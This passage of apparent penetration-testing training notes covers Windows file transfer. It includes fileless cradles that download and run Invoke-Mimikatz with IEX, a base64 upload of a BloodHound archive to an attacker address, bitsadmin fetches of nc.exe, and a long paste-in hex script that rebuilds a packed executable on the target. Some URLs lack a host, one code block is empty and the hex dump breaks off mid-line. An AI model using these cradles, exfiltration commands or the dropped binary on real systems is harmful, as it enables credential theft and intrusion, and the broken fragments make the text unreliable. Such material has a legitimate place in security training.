https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1 ``` Instead of downloading to disk, the payload can instead be executed in memory, using Invoke-Expression, or the alias `iex`. ``` PS C:\htb> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') ``` IEX also accepts pipeline input. ``` PS C:\htb> Invoke-WebRequest https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1 | iex ``` There may be cases when the Internet Explorer first-launch configuration has not been completed, which prevents the download. ![image](https://academy.hackthebox.eu/storage/modules/24/IEerror.png) ![image](https://academy.hackthebox.eu/storage/modules/24/IE_settings.png) This can be bypassed using the parameter `-UseBasicParsing`. ``` PS C:\htb> Invoke-WebRequest https:///PowerView.ps1 | iex Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again. At line:1 char:1 + Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/P ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException + FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand ``` ``` PS C:\htb> Invoke-WebRequest https:///PowerView.ps1 -UseBasicParsing | iex PS C:\htb> Invoke-CheckLocalAdminAccess ComputerName IsAdmin ------------ ------- localhost False ``` Alternatively, with administrative access to the machine, we can disable Internet Explorer’s First Run customization. ``` C:\htb> reg add "HKLM\SOFTWARE\Microsoft\Internet Explorer\Main" /f /v DisableFirstRunCustomize /t REG_DWORD /d 2 ``` Powershell download cradles that do not observe Internet Explorer’s first-run check can also be used. Harmj0y has compiled an extensive list of PowerShell download cradles [here](https://gist.github.com/HarmJ0y/bb48307ffa663256e239). It is worth gaining familiarity with them and their individual nuances, such as not observing a proxy or touching a disk to select the appropriate one for the situation. ### PowerShell File Uploads It is also possible to upload files using Powershell using Invoke-WebRequest or Invoke-RestMethod. ``` PS C:\htb> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'c:/users/public/downloads/BloodHound.zip' -Encoding Byte)) PS C:\htb> Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64 ``` After catching the base64 data with Netcat, the payload can be decoded. ``` rowbot@htb[/htb]$ echo | base64 -d -w 0 > bloodhound.zip ``` ### Bitsadmin The Background Intelligent Transfer Service (BITS) can download files from HTTP sites and SMB shares. It "intelligently" checks host and network utilization into account to minimize the impact on a user’s foreground work. ``` PS C:\htb> bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe ``` PowerShell also enables interaction with BITS, enables file downloads and uploads, supports credentials, and can use specified proxy servers. **Download** ``` PS C:\htb> Import-Module bitstransfer;Start-BitsTransfer -Source "http://10.10.10.32/nc.exe" -Destination "C:\Temp\nc.exe" ``` **Upload** ``` PS C:\htb> Start-BitsTransfer "C:\Temp\bloodhound.zip" -Destination "http://10.10.10.132/uploads/bloodhound.zip" -TransferType Upload -ProxyUsage Override -ProxyList PROXY01:8080 -ProxyCredential INLANEFREIGHT\svc-sql ``` ### Certutil Casey Smith ([@subTee](https://twitter.com/subtee?lang=en)) found that certutil can be used to download arbitrary files. It is available in all Windows versions and has been a very popular file transfer technique, essentially serving as Wget for Windows. However, the Antimalware Scan Interface (AMSI) currently detects this as malicious certutil usage. ```csharp ``` ``` https://github.com/egre55/ultimate-file-transfer-list?fbclid=IwAR1Bx3zzQTuBuD6XAK0aooaxfSGqk_MDLO8NniVMEnthfPIm4snmbuWjeYI ``` ### nc.exe paste the following code ``` echo n 1.dll >123.hex echo e 0100 >>123.hex echo 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 >>123.hex echo e 0180 >>123.hex echo 50 45 00 00 4c 01 03 00 b9 8e ae 34 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 05 00 00 70 00 00 00 10 00 00 00 d0 00 00 b0 4b 01 00 00 e0 00 00 00 50 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 01 00 00 10 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 >>123.hex echo e 0200 >>123.hex echo 00 50 01 00 d4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00 >>123.hex echo e 0280 >>123.hex echo 00 d0 00 00 00 10 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 00 70 00 00 00 e0 00 00 00 6e 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 55 50 58 32 00 00 00 00 00 10 00 00 00 50 01 00 00 02 00 00 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 33 2e 39 31 00 55 50 58 21 0d 09 02 09 13 9c b9 >>123.hex echo e 0300 >>123.hex echo 35 b8 86 e3 95 e4 25 01 00 8f 6b 00 00 00 e8 00 00 26 01 00 aa fd ff ff ff 83 ec 1c 53 56 57 e8 01 00 01 cc 8b 3d b8 21 41 00 8d 4c 24 0c 33 db 8b f0 8b 44 24 2c 51 b6 b5 df be 1a 68 00 14 40 13 54 24 20 53 c7 10 19 00 00 f7 ed bf fb 89 5c 24 28 03 2c 52 89 46 0c ff d7 3b c3 06 10 75 39 53 00 ef ba b7 ed 6a 0a 2d 01 41 ff 15 b4 47 50 53 89 bc 83 c4 73 97 5d fb 0c 50 68 54 c0 42 0d >>123.hex echo e 0380 >>123.hex echo 11 1c 1c c7 34 00 6e b7 ed be 33 c0 5f 5e 5b 0e c3 8d 55 0c 72 10 50 6a 02 e4 b3 db 20 15 27 53 51 53 14 75 44 cc 6c 2f fb 8b 56 14 56 53 52 28 b0 5e d9 7d 7b 9b 8b 9c 6a ff 89 63 20 8b 4e 14 6a 20 89 cd b6 fd 6d 24 31 08 53 50 6a 03 89 d4 34 2d ac 2b 60 07 d9 ff c3 74 59 48 74 43 48 53 74 2a 72 30 c6 cd bd 82 3b eb 3f 50 30 6b b0 51 db ac b9 bb 10 79 d7 eb 2a 6e 5a 82 1f 08 73 6d >>123.hex echo e 0400 >>123.hex echo 98 fb 6a 01 51 eb 11 9f 95 1d 12 1e f7 ee 6d a4 a8 0c 38 15 f4 22 09 16 8b 1d a4 11 bb eb b6 37 24 d3 8b 06 52 48 12 50 52 4e 04 51 10 8d 8d 39 b7 56 04 57 55 11 14 6a 08 d6 da 65 d7 11 56 87 2f ec 04 b8 07 00 eb 0b 5b e1 0d 90 00 cf 6e 55 d0 33 ae b0 eb fe ed 6a 18 89 6c 24 14 03 18 2b 30 3c d0 2d e1 42 f7 f0 3b f5 75 0a 1a 5d 2f 14 1b 3d bc ef f8 37 fc c2 15 18 8d 5e 04 55 84 18 >>123.hex echo e 0480 >>123.hex echo 50 51 89 2e 89 2b 56 78 dd 16 69 e9 28 3c 2c 0b 30 63 21 d8 ff 6e 95 c5 8b 2d 9c 6a 00 75 26 6a 00 01 2a 5d c7 66 08 d4 eb 6f 36 1c 5e 14 23 ec fd 86 52 13 d7 85 c0 75 23 50 00 33 f7 56 68 9f a4 3b 8b 86 57 37 10 51 52 19 0d 8e 8d 65 03 1c 08 0b 08 8b 01 d5 92 75 cd 7d 1b 51 06 10 4c 54 83 0c 8e 64 ec 01 68 8c 0e b6 0c d8 61 ee dd 20 74 03 31 7d 0a 06 08 90 84 b2 7c 1b 85 db 53 44 >>123.hex echo e 0500 >>123.hex echo 18 76 30 96 12 46 8b c6 10 7f b7 b0 6b 4f 54 44 58 53 a3 c8 ae 56 33 f6 57 8b 7c 24 d8 f0 86 c2 68 56 c7 2f 64 6a 02 51 1f 2c 44 34 4d 57 78 2b 74 27 03 38 34 48 eb ba 4d d3 44 40 3c 66 04 5c 03 60 08 e0 6e e6 ee 5e 31 58 01 01 07 64 89 4b b7 c3 82 bb e5 50 57 03 0f c4 8d fa 0c 8b 76 73 ff f0 0d c4 fc 40 97 1c 52 50 56 56 6a 03 51 56 1e 63 7b e8 cc c0 c2 18 1d 8b 47 0c 54 e1 dd bd >>123.hex echo e 0580 >>123.hex echo 83 8e ab aa 54 c3 56 00 5c c9 96 f1 08 04 c1 bb 31 f1 e4 dc 1f 2f 81 ec b4 8b 6c f8 04 75 ff e0 fe 3a 8b bc 24 c8 12 56 50 8b 17 68 c8 dc 51 63 c3 3d d6 6b d8 7e 0f 84 9f 0f 08 d4 c2 eb da 6d c3 95 32 db 13 76 63 26 40 10 2f c2 dd 61 9d 43 1c 31 d5 a4 10 33 c9 5c ef fe ff ff 85 f6 76 26 8a 54 0c 14 80 fa 0a 75 0e 80 fb 0d 74 09 c6 84 04 dc 24 0d 40 88 94 dd df ff 63 08 40 41 8a da >>123.hex echo e 0600 >>123.hex echo 3b ce 72 da 8b 4f 0c 44 84 24 e4 14 50 b6 a5 bf 4d 1f fc 22 74 7e 2e eb 38 32 0d d0 ec b4 3d fc 74 0f 6a 24 14 05 52 cf 6c ff 1e 4e 76 50 51 9e 85 67 be 35 fd ff d6 83 f8 08 47 c6 a5 6d d1 6a 00 ac d6 17 b7 b5 80 0c 28 21 46 cc 38 e4 c3 c3 07 fb 81 c4 16 c3 1f d0 00 b8 11 dc 76 03 55 f5 f8 8e 20 e0 13 1a 3a 67 68 0a 9a b1 7d d5 97 72 fb 7f eb 3a 22 dc 3d 8a 2a 13 88 44 34 18 46 3c >>123.hex echo e 0680 >>123.hex echo 0d 75 06 c6 08 fb e1 3e bd 0a 46 6a 06 09 68 58 6b d5 8a 6c 7a ee df 6c 87 c1 07 50 6f 31 3c 0a 74 04 30 35 3c e1 f4 19 8b 57 04 31 4a 20 56 46 d3 d9 5d 84 d6 5b 15 6b 1a 1a 17 6a 01 70 88 dc 02 f6 75 96 5b b0 af d0 00 fe e6 ae d5 af 81 a9 58 fc 40 33 ff 3b ef 89 3d 54 63 f6 3b ed 0b 75 17 18 f8 0d 9c 1d f7 40 57 60 87 81 2c 8b 73 0c 8b ee 16 5e d8 d3 3b d7 98 80 3a 00 42 48 f9 83 >>123.hex echo e 0700 >>123.hex echo 3d 44 d5 76 bf ef 16 01 75 5a a1 50 1e 0d 4c 05 3b c8 88 ee 5e d2 bd 04 74 1b 53 45 0c eb 0a 14 06 89 2d bf fd df f4 22 a1 24 3b e9 7d 1a 8b 04 ab 80 38 2d e1 8a 50 01 84 d2 ed fd b1 ed 75 0b 45 13 89 2e 7c e6 8b f5 89 35 52 35 bf dd 9c ec 8b 35 50 31 74 70 bf b0 c2 0f 8a 10 8a ca 3a fd 5b e7 fe 17 75 1c 84 c9 74 14 3d 0c 57 85 0e 83 c0 02 83 c7 02 b7 e1 df b8 13 75 e0 4e eb 05 1b >>123.hex echo e 0780 >>123.hex echo c0 83 d8 ff 01 3b a1 73 b3 5b 4f b6 5c c6 74 13 df 74 0b 9d 81 c6 90 67 97 c6 75 8a f6 d8 ed d9 6c ee 79 2c 3b 6c 11 75 1d 40 1d db 6e b4 26 d5 4f 04 f3 a3 d0 c8 ff 85 db 02 27 fb 10 1f 14 c4 3a 2d 0f c9 ec 68 bb 2a 1b 8a 42 c8 fc 1f 04 e9 02 db 42 83 58 f7 0c 3c e1 11 80 6b 47 78 21 de 02 01 89 48 eb 12 a0 0d cc ad bd 01 04 2c 2a 38 6b 02 db d2 5f d8 e2 8a 5b 80 f9 2d 74 36 39 f7 >>123.hex echo e 0800 >>123.hex echo 38 14 56 05 c3 df 36 8a 58 d6 db 75 25 0f be c1 09 a0 ec 7d b8 be 51 bd 7c f5 cb 30 34 ad 5d eb 7a 42 a5 8a 02 2f 30 87 05 18 b7 ff 17 70 03 27 da 74 0c 3c 3d 74 08 8a 43 01 43 15 75 f4 ff e5 ba 5a e2 5b 10 8f 27 7c 8b 0e 8b c3 7f c6 ec f7 2b c2 50 52 52 32 0c 41 78 32 8b 3e 83 c9 f1 6d 7b 13 82 f2 ae f7 d1 23 49 24 3b c1 74 33 a6 58 5d d7 1f 30 1b 0e 86 10 cc ca 0e de eb 4a 76 50 >>123.hex echo e 0880 >>123.hex echo 14 e1 15 86 b6 4b b8 f6 83 c6 10 41 24 1a f2 a0 eb 7f 44 2c d2 95 c1 2a 44 28 18 af 0d d7 9d c0 77 62 07 18 54 45 6c e0 bb ef 60 c1 40 94 29 10 28 8b 0c a8 8b df 68 90 0c ec 48 37 ee 68 70 cf 80 30 ec e8 e1 ee c9 36 7d 8b fa a2 49 b8 3f 58 03 d1 45 54 b8 49 98 30 bf a4 4c b6 c2 0b cf 6e 2b 6a 45 16 8a 03 08 8b 41 04 5b a7 97 db e1 15 03 05 07 9b 02 43 89 1d 03 ec e6 ba 64 52 84 34 >>123.hex echo e 0900 >>123.hex echo 56 51 85 c0 52 a1 bd bb c6 be 46 1c 89 08 4c 3d 7b 92 9d ec bf 74 0f 8b 51 0c 89 10 33 c0 66 41 0c 0a bf 84 6b d8 3d 38 d6 28 25 ef 04 ae 80 78 01 2f 35 0a 0b d0 21 bf cf e3 2c 51 52 08 03 7b 09 bf 75 74 d2 01 68 9b da 7f 41 8b 2c ae 52 80 7d 33 91 06 50 fe 2e b6 5d 42 03 5e eb 1a 4a 4d 13 7d 36 64 0d 1f 50 1b 14 4f 45 c7 05 64 11 92 f0 50 5c 0a 1e 9d b7 8d d2 8c 29 81 1f 2c 49 f3 >>123.hex echo e 0980 >>123.hex echo 42 50 8a cd 5a 04 e2 97 c7 2d de 5b 9f 5d 08 80 39 11 06 ff 05 3d 29 2d e0 16 4a be 26 fa 42 9a 3a 92 b9 b5 b3 08 f1 d2 09 85 dc 81 7e 2f 7c e3 02 8a b1 fa 3a 75 3d 56 74 22 a1 2f 89 0d 5b a4 d7 1e 4b 40 7a 4a 32 66 c3 d8 ec b5 61 7d 15 1c 1b 16 2b b6 00 0b 3c 21 0f f8 c7 87 1f c1 75 48 39 2d 30 74 1a 30 56 8b 08 51 6e 69 24 14 a9 29 cd 64 21 b0 ff c1 dc 8a 1f b6 70 95 c3 4b 83 e3 >>123.hex echo e 0a00 >>123.hex echo fb 83 c3 3f 54 2d 7b db 10 95 28 40 54 82 fc a3 7f 1d 78 b0 94 9f 6c 31 a1 48 36 ed 16 3e 74 ce 0e cc 8b 02 9f 0c 75 eb 0c 48 60 17 3e 9a 8b 11 91 f0 c1 83 d5 70 60 42 80 a1 38 fd 0b bb 84 8e 80 49 b9 54 ae 01 2d 8f 34 18 03 16 48 18 09 51 8b 23 d9 06 e3 6c a8 fc 1d 10 6f c0 6d 0d 0a 1f 1d 55 23 46 99 90 92 82 c0 90 1b 14 c9 37 4b 0c 9b b1 00 71 14 01 fb 40 89 0b db f1 fc 25 01 7d >>123.hex echo e 0a80 >>123.hex echo 19 da b7 ef ec b6 28 45 7c a9 fc 9c a3 a7 e9 51 08 e7 91 da c8 61 99 24 4c 96 b3 41 4a 4a c8 68 c1 ad fc 67 5b f7 65 5f 7a 5e 76 5d 77 8a 00 2c 3a 5b f6 d8 b0 6f 81 0d b3 e0 05 c6 3a 82 90 00 35 34 70 17 30 04 8a 08 ed 13 72 08 d6 40 03 bf dd c9 3b ca 74 0a 26 40 ec f1 51 81 33 1a b4 ae cf 17 15 aa 0a cc c0 c5 9f 36 b3 6f ba 5c 34 d7 05 7d 18 10 0f 8e a0 ff 6c 1d 5f 7b 7c 3b f2 0b >>123.hex echo e 0b00 >>123.hex echo 94 ee 8b d8 2b ea ff df 95 fb 2b de 3b dd 89 e7 af 1c 7e 43 85 ed 7e 37 03 c2 8d 14 97 c1 bf c0 6f fc e6 02 c1 e0 02 8b 5c c8 2b ce 83 c2 a4 0c 0f 89 4a fc ae e0 fe 63 0c c0 04 4d 89 1c 0f 75 e4 8c 50 5c 37 fa ed 9a 8b 8b 40 2b c5 66 eb 35 3a 7e 2b ed 42 c1 fd 8d 0c b7 8d 04 97 52 1a 3e 28 89 23 c5 7e ef 76 09 89 29 3a 83 c1 04 4b 16 75 e7 36 b9 d8 c1 db 73 03 d3 a5 60 8f 64 97 c2 >>123.hex echo e 0b80 >>123.hex echo 7f 49 9c c8 35 51 8b d0 2b d6 5f 03 ca 99 58 08 df d8 89 0e a3 19 5b 21 37 16 a4 c7 2d 68 b4 c2 2e 22 a3 2c b5 07 de ac 05 00 df 4c 4a 14 26 b1 d0 73 08 72 48 94 52 19 78 b4 1d 67 75 0c 24 8d 02 8a 1c b2 2d 73 c3 10 2b 00 25 7c ed 17 9b 85 d2 0f 94 c1 7b 12 c3 8f 3a a1 86 8f ee 08 00 04 36 50 d1 08 6d c7 d4 05 cc 55 18 0f 90 8e 63 37 82 2f 82 01 01 7c 2f 64 ee e2 6d 89 dd 16 66 39 >>123.hex echo e 0c00 >>123.hex echo 00 3c ab 08 56 8a cc 3a 88 dc e2 db 2a 05 19 5e 97 90 01 70 7f fb 40 ef 3d 19 27 13 7f 19 74 11 3d 14 08 ef b7 bb db 8d 9c 22 b8 58 c6 84 b8 48 05 3d 26 1f 3c db dd a5 22 fc 2d 1d 08 74 0d 48 22 79 38 87 8d 8d 8d 28 05 18 28 33 48 28 7b 8e 7d 23 53 25 08 1f f8 c5 75 16 b0 b9 2d f3 8f 13 d9 07 05 c5 d8 ed ce 7d a9 86 01 39 0f 87 28 0d a9 88 cc 20 27 c8 d8 6f f7 ff 24 8d 2c 06 b8 e8 >>123.hex echo e 0c80 >>123.hex echo 33 b8 d8 05 c8 c8 c8 c8 c8 b8 a8 98 88 c8 c8 c8 c8 78 68 58 48 c8 c8 c8 c8 38 28 18 08 91 91 91 e7 f8 c4 e8 d8 c8 91 91 91 91 b8 a8 98 88 91 91 91 91 78 68 54 44 91 91 91 91 34 24 14 04 23 23 23 cf f4 c3 e4 d4 c4 b4 23 23 23 23 a4 94 84 74 f3 c2 0f 3f 05 07 d5 0c 03 77 1f 00 85 08 21 c8 c8 d8 58 64 1c 54 05 44 34 69 ba ed cf 1c 8b ff 0b 1f 06 11 03 17 1d a6 69 9a a6 23 29 2f 35 3b >>123.hex echo e 0d00 >>123.hex echo 9a a6 69 9a 41 47 4d 53 59 5f 69 9a a6 69 65 6b 71 77 7d a6 69 9a a6 83 89 8f 95 9b 9a a6 69 9a a1 a7 ad b3 b9 bf 69 9a a6 69 c5 cb d1 d7 dd 64 68 9a a6 e3 e9 ef 24 c0 ff ff ff 6f af 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c b7 7d 65 ff 1d 1e 1f 20 21 22 23 27 00 24 25 26 db 0c 3f 0e c3 34 5d 12 03 18 1e af 66 5e 1b a7 a5 09 b8 31 3f 87 55 b1 >>123.hex echo e 0d80 >>123.hex echo 01 4c 2e e9 1d 83 14 50 78 59 07 7c e4 51 93 52 0e 52 50 1a 78 3a 10 93 20 03 6a 44 2f 5b 53 4f c5 08 7e 0e fc 04 24 6c f7 b0 0b 81 c6 bd 0c 0c 32 dc 1f 42 86 ac 40 c3 67 1f 08 3a ca 12 d2 4f 91 66 d7 27 c1 57 f4 c2 01 20 0d c8 c2 22 7b 5d ab ef 1c 51 93 4c 4e 06 35 94 09 6c f5 85 1d 34 5c 5e 90 6a f5 63 e0 de fa 01 cb 1f 04 53 56 8d 70 ec e6 fc 56 2f 81 1b 0b 59 d8 32 52 1b 8b ce >>123.hex echo e 0e00 >>123.hex echo e8 ff 5f e0 57 8b d1 b2 8b fb c1 e9 02 f3 ab 8b ca 83 e1 03 f3 aa 5f b9 11 e0 df 60 5e 5b c3 56 68 74 c6 68 bc cb 42 06 06 8b 12 4f 56 65 2c c5 27 96 e0 f6 75 84 5e ac 0c 81 5b 2b b6 b0 8a 20 68 76 0f 9f 45 8b 42 37 d8 ea c6 7e 14 4b 0a 14 40 49 e7 b6 6d 6d fb 7f f5 8b c2 16 2b 4b 04 5e 09 c3 3f b0 05 e9 0a d5 d0 81 06 60 84 76 77 05 0c 50 57 6b 8b 1c 87 74 12 5d b0 5f a4 0e 51 57 >>123.hex echo e 0e80 >>123.hex echo 68 88 80 14 0c 82 12 f6 95 08 ff 64 90 00 0b 51 80 0d 6f 08 3f 39 33 61 a0 41 a1 db 3a 30 ce 67 dd e0 2d e4 1d 5d a0 68 e0 ef 12 e2 d6 46 80 2c 3b 10 f9 f6 75 0d 13 87 27 5b 89 c7 da 04 bf d0 5c 0b 09 4b fd c4 55 82 2b f9 8b d7 f7 11 e9 e1 a1 c1 a5 60 11 a4 76 82 76 6b b8 ad 6e ff 41 14 b2 15 53 63 b2 65 85 2d 5a f3 74 55 e4 4a 8c db 42 ef 08 55 28 b2 e8 84 75 18 3e 96 5d e0 51 a3 >>123.hex echo e 0f00 >>123.hex echo 8c 68 44 23 0b c3 16 05 a9 0c 68 d8 0f db ee f6 55 f5 36 0e 45 0c 14 83 38 4b 43 c5 0d f0 f7 33 f6 8d bb 19 81 c3 c0 ce fe 20 7d 7f 17 68 bc c1 04 06 6a 27 b7 89 03 4e 76 50 57 42 b7 ef 64 33 c6 04 36 c7 1c 0c 06 3d 19 ee 12 85 cb 79 cf 8b f7 fa 8d de af 79 26 01 83 48 8d b3 05 33 12 c7 de 53 5a 10 0f 64 83 fd b9 35 7c ff c1 8d 0d 6a 02 6a 04 56 5d 70 77 11 b5 7a 5f e1 88 8a 9a 12 >>123.hex echo e 0f80 >>123.hex echo d0 30 ab 25 17 26 05 8b 0c c7 55 a1 1d b8 6e 04 7f 45 7d 45 b6 8b 93 3d 62 8d 06 08 4a 6f cc ef 98 0b 0a 06 50 b3 8d 93 6e 17 26 b8 d8 50 52 b9 3c 39 45 85 00 39 a2 3d 3b ae 74 7b 85 d4 2c cc 0e b2 89 50 75 1e 78 5f e0 6e b4 2c 60 04 6a 5e 68 fe 5c e1 0d fb 62 53 56 08 7a c2 b6 6c db 96 2d 50 0f 3a 52 14 c5 36 5a 40 3e 5b 54 53 68 a8 1b 5e 04 63 d6 1f 1d 4f b1 9f ae 23 36 a1 14 35 >>123.hex echo e 1000 >>123.hex echo 14 a1 b4 bd dc a3 dd 25 1c 24 20 bd e0 06 a1 94 2e f8 f6 2b fd f6 c6 00 3f 98 0a c6 41 49 75 21 85 ff bb 4d f7 58 5e f5 ce 57 38 04 66 8c 79 25 b7 fb 86 02 ae 7b ff 8b f0 eb b5 20 85 d4 f4 04 b3 7d f1 39 3d a8 48 de 0e 8d 7b 71 7b 6c 6c 9a 27 55 fd 94 8b f8 2a 74 75 56 e2 1f 2e 9c 57 08 34 2f 8e 66 3b f0 57 20 03 61 e9 3b 81 e6 05 50 9a a8 8d ba 87 f0 b3 07 86 6a 40 50 51 0d eb 36 >>123.hex echo e 1080 >>123.hex echo b8 a8 b7 ad fd 7e 75 64 55 91 2f 88 82 b2 74 d3 16 a1 e0 6e 91 67 2b 52 50 65 4e 08 2f 78 1f 2b 8d aa 8e 1c 1c 8b d3 81 e2 67 cc 7e ee 56 cd 25 68 a4 69 2a 37 0c 65 b8 bd 8d 3e c1 89 59 fb 15 0c 3d 42 48 cb ba f4 70 5a 5f 66 3f 5b c3 1f f6 c7 8e f5 57 bf 70 11 be 38 3c ba 80 3c 30 01 74 07 23 67 1b 6e fc 4f 75 eb eb 04 3c 30 02 e3 25 b9 19 31 b4 a3 4b 2f 0e 49 75 73 c1 f7 73 23 c1 >>123.hex echo e 1100 >>123.hex echo 48 c9 6e cd e5 0a 22 31 02 0e ef 79 32 75 5c 53 e9 08 e9 c8 f0 75 1b 0e 01 b4 b3 18 66 e8 05 9c d0 ba b1 04 ff 43 8b c7 e0 38 e1 0b 01 59 8a 89 d0 57 f7 8d 62 13 da 77 1a 22 54 26 26 c3 fa a5 ae 03 a8 c6 16 49 48 75 f9 5f f1 d6 ad 02 5b 5b ec 3e 5b 57 53 55 e9 63 e1 61 2a b8 c4 1d 17 74 9e af 6c 5b 63 11 ba d0 6a 07 01 19 97 4a 94 f8 b2 3b c3 a3 f4 52 2c 03 94 c8 b8 81 de 60 6b a1 >>123.hex echo e 1180 >>123.hex echo 10 cb c3 75 0e dc 42 cc fd 94 8b ac 0c 25 53 e8 05 b7 17 db 36 f6 51 02 68 a1 42 1d f8 ff 87 5b 12 76 da 7c c8 e3 da 15 84 98 87 1b 6d f0 75 10 3b f3 1a 02 1c a1 88 7d 4a 0d b6 a3 c7 26 74 0b 1b 0e 0f 6d 84 b7 d6 26 75 d4 fb 74 10 f1 9a 5c 28 50 58 78 18 ad 41 6b ac 63 b1 13 7f 10 74 6a be 04 11 30 94 6a be 3f 70 8c 10 07 2f a6 17 74 73 81 3d e0 40 98 30 d8 86 81 75 3f 56 cf 3a b2 >>123.hex echo e 1200 >>123.hex echo 5b b1 56 e8 a3 29 83 68 64 98 09 b4 cb e0 0c 8b 4e 64 d3 8d f7 ac 7b 7f 9b 4e 24 80 81 e7 40 79 23 20 1c ec 51 04 52 40 48 c8 84 a7 d0 10 1b 6b a4 02 0a 90 74 5d 5d a5 b7 b4 fd 45 b2 15 e1 e5 ea 50 c0 41 06 73 d8 cf 88 a1 6c dd 84 2c 3c b0 74 24 08 bc 16 52 db a0 07 63 92 12 48 64 a0 53 08 23 c1 87 84 6c df 18 38 4c 47 9a b5 48 fb 2f 2f a0 9c 4e 45 b8 db 48 4c f4 83 ce ff dc 42 40 >>123.hex echo e 1280 >>123.hex echo c0 0c c3 43 3a 99 de b1 f7 9d d4 15 0f a3 eb d1 4c a1 0a e3 06 b4 11 1d b8 25 43 5b 5d b1 40 01 1c 09 3f 12 0b ad 78 ab f7 a3 8b 4d 10 8b a4 8b dd 25 24 e3 c7 81 e2 74 35 50 f8 51 df 9a e8 08 90 17 6c fc 10 7c 89 75 f8 0f 8f 02 c3 fa 8e 73 03 00 00 88 9d d9 b5 d1 80 85 20 84 c9 e5 7b 01 58 52 b7 8d 3e d0 da 7d c2 c9 0b 84 2d f7 10 59 bb 10 57 98 ee f6 8c 7c df 9e 8d 4d fc 62 56 89 >>123.hex echo e 1300 >>123.hex echo 5d fc 37 ca 30 ba 31 36 83 1c a1 e0 95 20 12 89 fa 5d f8 1a 84 24 07 50 59 0d 28 08 48 08 bd 40 c1 5d f0 15 2c 09 83 63 8a 0d 2e 9a 83 31 de 09 88 48 0e a1 27 48 83 9b f8 ad 09 2d 4c e3 c2 eb 05 bf 1c c9 96 82 44 90 57 56 e0 3d 89 1b e0 c6 5d d1 14 76 ca 4f 62 00 9b 1d 39 ca bf 10 2d 2b 0d d6 2d 36 71 8a 48 02 b6 15 08 83 1d e1 2a 4b 50 52 c8 08 2f 0a f9 e3 6e e9 74 66 a1 18 50 6a >>123.hex echo e 1380 >>123.hex echo 02 c4 78 b0 40 8a fc b9 74 d8 22 14 26 02 77 29 33 68 91 8c 11 be db 50 66 c4 18 46 37 b6 9b 8a 3a 53 51 19 a0 f0 55 7f 62 e7 20 1b 66 95 3c b0 f6 ce fe 61 45 fc 50 3f be 59 43 38 76 50 f8 d8 13 4c 89 7d f8 07 35 8c 6d cd 2e 9c f0 34 0f cb 4d f3 ab f0 fb 43 eb 26 5d 43 c7 02 e5 50 8d 5a 20 4d 95 75 09 5b ef f0 d9 f4 42 81 60 98 c4 42 62 a1 9a 64 10 96 c5 d1 f1 62 88 2c 90 fd 85 0f >>123.hex echo e 1400 >>123.hex echo 89 45 f4 3f a0 84 31 48 58 43 e6 0d 9c da c6 c6 b7 4b 13 23 75 58 d8 39 a1 45 6a e0 e6 d7 44 56 a2 8f 45 8b 77 19 b9 c2 9a aa d2 f3 a6 bb 92 8b d0 74 08 f0 1a 33 31 f4 66 a6 65 5b 1d 5d 0d db f1 17 fe 9c 40 a3 a5 21 53 f0 6b b9 8b b5 41 8b 58 65 0f b1 c8 7b 02 97 96 5d 68 4d f0 de 8d 83 1f 21 6c 50 e2 56 fa 02 a8 14 b8 36 b9 a5 6d f8 22 d7 8b e5 73 0d 12 4f 2a 8e 88 4c 27 93 4c bb >>123.hex echo e 1480 >>123.hex echo 2d a4 27 cb 8b e5 cd 00 a1 e4 d1 ce 68 88 81 e4 b5 01 1a 52 b4 bd 6d 21 a3 74 6e 0d 41 62 7c 02 bb 18 97 51 08 7b ac 0b 50 29 fa 54 a7 1e eb 44 34 03 69 7a 5c 31 4c 39 08 ec aa 09 5b 6e 2c f8 2b 05 1f 17 2a 00 c0 37 8b 3d c2 7e 06 6f 4c 66 ff 24 22 00 d8 b2 66 b1 85 80 41 8a 37 2b b1 70 75 ee c6 36 c6 c4 22 c4 0b 09 41 a1 